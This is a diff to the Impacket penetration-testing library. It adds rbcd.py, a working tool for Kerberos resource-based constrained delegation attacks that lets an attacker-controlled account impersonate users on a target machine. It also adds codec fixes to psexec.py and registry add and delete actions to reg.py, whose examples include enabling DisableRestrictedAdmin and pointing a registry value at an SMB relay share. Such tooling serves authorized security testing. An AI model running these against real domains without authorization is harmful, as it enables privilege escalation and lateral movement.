@@ -54,9 +56,9 @@ class RemComResponse(Structure):
('ReturnCode','<L=0'),
)
RemComSTDOUT = "RemCom_stdout"
RemComSTDIN = "RemCom_stdin"
RemComSTDERR = "RemCom_stderr"
RemComSTDOUT = "RemCom_stdout"
RemComSTDIN = "RemCom_stdin"
RemComSTDERR = "RemCom_stderr"
lock = Lock()
@@ -83,18 +85,15 @@ class PSEXEC:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, remoteName, remoteHost):
stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.doStuff(rpctransport)
@@ -221,6 +220,7 @@ class PSEXEC:
sys.stdout.flush()
sys.exit(1)
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, share=None):
Thread.__init__(self)
@@ -266,26 +266,117 @@ class RemoteStdOutPipe(Pipes):
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
global LastDataSent
if PY3:
__stdoutOutputBuffer, __stdoutData = b"", b""
while True:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans.decode('cp437'))
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
except:
pass
else:
try:
if stdout_ans != LastDataSent:
if len(stdout_ans) != 0:
# Append new data to the buffer while there is data to read
__stdoutOutputBuffer += stdout_ans
promptRegex = b'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'
endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
if endsWithPrompt == True:
# All data, we shouldn't have encoding errors
# Adding a space after the prompt because it's beautiful
__stdoutData = __stdoutOutputBuffer + b" "
# Remainder data for next iteration
__stdoutOutputBuffer = b""
# print("[+] endsWithPrompt")
# print(" | __stdoutData:",__stdoutData)
# print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
elif b'\n' in __stdoutOutputBuffer:
# We have read a line, print buffer if it is not empty
lines = __stdoutOutputBuffer.split(b"\n")
# All lines, we shouldn't have encoding errors
__stdoutData = b"\n".join(lines[:-1]) + b"\n"
# Remainder data for next iteration
__stdoutOutputBuffer = lines[-1]
# print("[+] newline in __stdoutOutputBuffer")
# print(" | __stdoutData:",__stdoutData)
# print(" | __stdoutOutputBuffer:",__stdoutOutputBuffer)
if len(__stdoutData) != 0:
# There is data to print
try:
sys.stdout.write(__stdoutData.decode(CODEC))
sys.stdout.flush()
__stdoutData = b""
except UnicodeDecodeError:
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
'again with -codec and the corresponding codec')
print(__stdoutData.decode(CODEC, errors='replace'))
__stdoutData = b""
else:
# Don't echo the command that was sent, and clear it up
LastDataSent = b""
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
# if LastDataSent > 10:
# LastDataSent = ''
except:
pass
else:
__stdoutOutputBuffer, __stdoutData = "", ""
while True:
try:
stdout_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
except:
pass
else:
try:
if stdout_ans != LastDataSent:
if len(stdout_ans) != 0:
# Append new data to the buffer while there is data to read
__stdoutOutputBuffer += stdout_ans
promptRegex = r'([a-zA-Z]:[\\\/])((([a-zA-Z0-9 -\.]*)[\\\/]?)+(([a-zA-Z0-9 -\.]+))?)?>$'
endsWithPrompt = bool(re.match(promptRegex, __stdoutOutputBuffer) is not None)
if endsWithPrompt:
# All data, we shouldn't have encoding errors
# Adding a space after the prompt because it's beautiful
__stdoutData = __stdoutOutputBuffer + " "
# Remainder data for next iteration
__stdoutOutputBuffer = ""
elif '\n' in __stdoutOutputBuffer:
# We have read a line, print buffer if it is not empty
lines = __stdoutOutputBuffer.split("\n")
# All lines, we shouldn't have encoding errors
__stdoutData = "\n".join(lines[:-1]) + "\n"
# Remainder data for next iteration
__stdoutOutputBuffer = lines[-1]
if len(__stdoutData) != 0:
# There is data to print
sys.stdout.write(__stdoutData.decode(CODEC))
sys.stdout.flush()
__stdoutData = ""
else:
# Don't echo the command that was sent, and clear it up
LastDataSent = ""
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
# if LastDataSent > 10:
# LastDataSent = ''
except Exception as e:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
@@ -293,17 +384,87 @@ class RemoteStdErrPipe(Pipes):
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
if PY3:
__stderrOutputBuffer, __stderrData = b'', b''
while True:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
except:
pass
else:
try:
if len(stderr_ans) != 0:
# Append new data to the buffer while there is data to read
__stderrOutputBuffer += stderr_ans
if b'\n' in __stderrOutputBuffer:
# We have read a line, print buffer if it is not empty
lines = __stderrOutputBuffer.split(b"\n")
# All lines, we shouldn't have encoding errors
__stderrData = b"\n".join(lines[:-1]) + b"\n"
# Remainder data for next iteration
__stderrOutputBuffer = lines[-1]
if len(__stderrData) != 0:
# There is data to print
try:
sys.stdout.write(__stderrData.decode(CODEC))
sys.stdout.flush()
__stderrData = b""
except UnicodeDecodeError:
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
'again with -codec and the corresponding codec')
print(__stderrData.decode(CODEC, errors='replace'))
__stderrData = b""
else:
# Don't echo the command that was sent, and clear it up
LastDataSent = b""
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
# if LastDataSent > 10:
# LastDataSent = ''
except Exception as e:
pass
else:
__stderrOutputBuffer, __stderrData = '', ''
while True:
try:
stderr_ans = self.server.readFile(self.tid, self.fid, 0, 1024)
except:
pass
else:
try:
if len(stderr_ans) != 0:
# Append new data to the buffer while there is data to read
__stderrOutputBuffer += stderr_ans
if '\n' in __stderrOutputBuffer:
# We have read a line, print buffer if it is not empty
lines = __stderrOutputBuffer.split("\n")
# All lines, we shouldn't have encoding errors
__stderrData = "\n".join(lines[:-1]) + "\n"
# Remainder data for next iteration
__stderrOutputBuffer = lines[-1]
if len(__stderrData) != 0:
# There is data to print
sys.stdout.write(__stderrData.decode(CODEC))
sys.stdout.flush()
__stderrData = ""
else:
# Don't echo the command that was sent, and clear it up
LastDataSent = ""
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
# if LastDataSent > 10:
# LastDataSent = ''
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, share, transport):
@@ -402,9 +563,9 @@ class RemoteShell(cmd.Cmd):
def default(self, line):
if PY3:
self.send_data(line.encode('cp437')+b'\r\n')
self.send_data(line.encode(CODEC)+b'\r\n')
else:
self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
self.send_data(line.decode(sys.stdin.encoding).encode(CODEC)+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
@@ -439,6 +600,11 @@ if __name__ == '__main__':
parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)")
parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py '
'again with -codec and the corresponding codec ' % CODEC)
group = parser.add_argument_group('authentication')
@@ -475,6 +641,12 @@ if __name__ == '__main__':
# Init the example's logger theme
logger.init(options.ts)
if options.codec is not None:
CODEC = options.codec
else:
if CODEC is None:
CODEC = 'utf-8'
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
+588
View File
@@ -0,0 +1,588 @@
#!/usr/bin/env python3
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer
#
# Authors:
# Remi Gascou (@podalirius_)
# Charlie Bromberg (@_nwodtuhs)
#
# ToDo:
# [ ]: allow users to set a ((-delegate-from-sid or -delegate-from-dn) and -delegate-to-dn) in order to skip ldapdomaindump and explicitely set the SID/DN
import argparse
import logging
import sys
import traceback
import ldap3
import ssl
import ldapdomaindump
from binascii import unhexlify
import os
from ldap3.protocol.formatters.formatters import format_sid
from impacket import version
from impacket.examples import logger, utils
from impacket.ldap import ldaptypes
from impacket.smbconnection import SMBConnection
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from ldap3.utils.conv import escape_filter_chars
def get_machine_name(args, domain):
if args.dc_ip is not None:
s = SMBConnection(args.dc_ip, args.dc_ip)
else:
s = SMBConnection(domain, domain)
try:
s.login('', '')
except Exception:
if s.getServerName() == '':
raise Exception('Error while anonymous logging into %s' % domain)
else:
s.logoff()
return s.getServerName()
def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None,
TGT=None, TGS=None, useCache=True):
from pyasn1.codec.ber import encoder, decoder
from pyasn1.type.univ import noValue
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises an Exception if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0' + lmhash
if len(nthash) % 2:
nthash = '0' + nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except Exception as e:
# No cache present
print(e)
pass
else:
# retrieve domain information from CCache file if needed
if domain == '':
domain = ccache.principal.realm['data'].decode('utf-8')
logging.debug('Domain retrieved from CCache: %s' % domain)
logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug('Using TGT from cache')
else:
logging.debug('No valid credentials found in cache')
else:
TGS = creds.toTGS(principal)
logging.debug('Using TGS from cache')
# retrieve user information from CCache file if needed
if user == '' and creds is not None:
user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
logging.debug('Username retrieved from CCache: %s' % user)
elif user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data'].decode('utf-8')
logging.debug('Username retrieved from CCache: %s' % user)
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
blob.getData())
# Done with the Kerberos saga, now let's get into LDAP
if connection.closed: # try to open connection if closed
connection.open(read_server_info=False)
connection.sasl_in_progress = True
response = connection.post_send_single_response(connection.send('bindRequest', request, None))
connection.sasl_in_progress = False
if response[0]['result'] != 0:
raise Exception(response)
connection.bound = True
return True
def create_empty_sd():
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd['Revision'] = b'\x01'
sd['Sbz1'] = b'\x00'
sd['Control'] = 32772
sd['OwnerSid'] = ldaptypes.LDAP_SID()
# BUILTIN\Administrators
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
sd['GroupSid'] = b''
sd['Sacl'] = b''
acl = ldaptypes.ACL()
acl['AclRevision'] = 4
acl['Sbz1'] = 0
acl['Sbz2'] = 0
acl.aces = []
sd['Dacl'] = acl
return sd
# Create an ALLOW ACE with the specified sid
def create_allow_ace(sid):
nace = ldaptypes.ACE()
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
nace['AceFlags'] = 0x00
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
acedata['Mask'] = ldaptypes.ACCESS_MASK()
acedata['Mask']['Mask'] = 983551 # Full control
acedata['Sid'] = ldaptypes.LDAP_SID()
acedata['Sid'].fromCanonical(sid)
nace['Ace'] = acedata
return nace
class RBCD(object):
"""docstring for setrbcd"""
def __init__(self, ldap_server, ldap_session, delegate_to):
super(RBCD, self).__init__()
self.ldap_server = ldap_server
self.ldap_session = ldap_session
self.delegate_from = None
self.delegate_to = delegate_to
self.SID_delegate_from = None
self.DN_delegate_to = None
logging.debug('Initializing domainDumper()')
cnf = ldapdomaindump.domainDumpConfig()
cnf.basepath = None
self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
def read(self):
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act
self.get_allowed_to_act()
return
def write(self, delegate_from):
self.delegate_from = delegate_from
# Get escalate user sid
result = self.get_user_info(self.delegate_from)
if not result:
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.SID_delegate_from = str(result[1])
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act and build security descriptor including previous data
sd, targetuser = self.get_allowed_to_act()
# writing only if SID not already in list
if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))
self.ldap_session.modify(targetuser['dn'],
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,
[sd.getData()]]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights modified successfully!')
logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
else:
logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
logging.info('Not modifying the delegation rights.')
# Get list of allowed to act
self.get_allowed_to_act()
return
def remove(self, delegate_from):
self.delegate_from = delegate_from
# Get escalate user sid
result = self.get_user_info(self.delegate_from)
if not result:
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.SID_delegate_from = str(result[1])
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act and build security descriptor including that data
sd, targetuser = self.get_allowed_to_act()
# Remove the entries where SID match the given -delegate-from
sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]
self.ldap_session.modify(targetuser['dn'],
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights modified successfully!')
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
# Get list of allowed to act
self.get_allowed_to_act()
return
def flush(self):
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act
sd, targetuser = self.get_allowed_to_act()
self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights flushed successfully!')
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
# Get list of allowed to act
self.get_allowed_to_act()
return
def get_allowed_to_act(self):
# Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
targetuser = None
for entry in self.ldap_session.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
logging.error('Could not query target user properties')
return
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
if len(sd['Dacl'].aces) > 0:
logging.info('Accounts allowed to act on behalf of other identity:')
for ace in sd['Dacl'].aces:
SID = ace['Ace']['Sid'].formatCanonical()
SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
logging.info(' %-10s (%s)' % (SamAccountName, SID))
else:
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
except IndexError:
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
# Create DACL manually
sd = create_empty_sd()
return sd, targetuser
def get_user_info(self, samname):
self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
return dn, sid
except IndexError:
logging.error('User not found in LDAP: %s' % samname)
return False
def get_sid_info(self, sid):
self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname'])
try:
dn = self.ldap_session.entries[0].entry_dn
samname = self.ldap_session.entries[0]['samaccountname']
return dn, samname
except IndexError:
logging.error('SID not found in LDAP: %s' % sid)
return False
def parse_args():
parser = argparse.ArgumentParser(add_help=True,
description='Python (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.')
parser.add_argument('identity', action='store', help='domain.local/username[:password]')
parser.add_argument("-delegate-to", type=str, required=True,
help="Target computer account the attacker has at least WriteProperty to")
parser.add_argument("-delegate-from", type=str, required=False,
help="Attacker controlled machine account to write on the msDS-Allo[...] property (only when using `-action write`)")
parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read',
help='Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity')
parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '
'omitted it will use the domain part (FQDN) specified in '
'the identity parameter')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
return parser.parse_args()
def parse_identity(args):
domain, username, password = utils.parse_credentials(args.identity)
if domain == '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None:
from getpass import getpass
logging.info("No credentials supplied, supply password")
password = getpass("Password:")
if args.aesKey is not None:
args.k = True
if args.hashes is not None:
lmhash, nthash = args.hashes.split(':')
else:
lmhash = ''
nthash = ''
return domain, username, password, lmhash, nthash
def init_logger(args):
# Init the example's logger theme and debug level
logger.init(args.ts)
if args.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
user = '%s\\%s' % (domain, username)
if tls_version is not None:
use_ssl = True
port = 636
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
else:
use_ssl = False
port = 389
tls = None
ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
if args.k:
ldap_session = ldap3.Connection(ldap_server)
ldap_session.bind()
ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip)
elif args.hashes is not None:
ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
else:
ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
return ldap_server, ldap_session
def init_ldap_session(args, domain, username, password, lmhash, nthash):
if args.k:
target = get_machine_name(args, domain)
else:
if args.dc_ip is not None:
target = args.dc_ip
else:
target = domain
if args.use_ldaps is True:
try:
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash)
except ldap3.core.exceptions.LDAPSocketOpenError:
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash)
else:
return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash)
def main():
print(version.BANNER)
args = parse_args()
init_logger(args)
if args.action == 'write' and args.delegate_from is None:
logging.critical('`-delegate-from` should be specified when using `-action write` !')
sys.exit(1)
domain, username, password, lmhash, nthash = parse_identity(args)
if len(nthash) > 0 and lmhash == "":
lmhash = "aad3b435b51404eeaad3b435b51404ee"
try:
ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash)
rbcd = RBCD(ldap_server, ldap_session, args.delegate_to)
if args.action == 'read':
rbcd.read()
elif args.action == 'write':
rbcd.write(args.delegate_from)
elif args.action == 'remove':
rbcd.remove(args.delegate_from)
elif args.action == 'flush':
rbcd.flush()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
traceback.print_exc()
logging.error(str(e))
if __name__ == '__main__':
main()
+214 -20
View File
@@ -13,6 +13,10 @@
#
# e.g:
# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s
# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services\\NewService
# ./reg.py Administrator:password@targetMachine add -keyName HKCR\\hlpfile\\DefaultIcon -v '' -vd '\\SMBRelay\share'
# ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin
#
# Author:
# Manuel Porto (@manuporto)
@@ -38,6 +42,7 @@ from impacket.examples.utils import parse_target
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from impacket.structure import hexdump
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5.dtypes import READ_CONTROL
class RemoteOperations:
@@ -176,6 +181,10 @@ class RegHandler:
if self.__action == 'QUERY':
self.query(dce, self.__options.keyName)
elif self.__action == 'ADD':
self.add(dce, self.__options.keyName)
elif self.__action == 'DELETE':
self.delete(dce, self.__options.keyName)
else:
logging.error('Method %s not implemented yet!' % self.__action)
except (Exception, KeyboardInterrupt) as e:
@@ -187,23 +196,7 @@ class RegHandler:
self.__remoteOps.finish()
def query(self, dce, keyName):
# Let's strip the root key
try:
rootKey = keyName.split('\\')[0]
subKey = '\\'.join(keyName.split('\\')[1:])
except Exception:
raise Exception('Error parsing keyName %s' % keyName)
if rootKey.upper() == 'HKLM':
ans = rrp.hOpenLocalMachine(dce)
elif rootKey.upper() == 'HKU':
ans = rrp.hOpenCurrentUser(dce)
elif rootKey.upper() == 'HKCR':
ans = rrp.hOpenClassesRoot(dce)
else:
raise Exception('Invalid root key %s ' % rootKey)
hRootKey = ans['phKey']
hRootKey, subKey = self.__strip_root_key(dce, keyName)
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
@@ -232,6 +225,187 @@ class RegHandler:
# ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult'])
# ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0)
def add(self, dce, keyName):
hRootKey, subKey = self.__strip_root_key(dce, keyName)
# READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
if self.__options.v is None: # Try to create subkey
subKeyCreate = subKey
subKey = '\\'.join(subKey.split('\\')[:-1])
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
# Should I use ans2?
ans3 = rrp.hBaseRegCreateKey(
dce, hRootKey, subKeyCreate,
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY
)
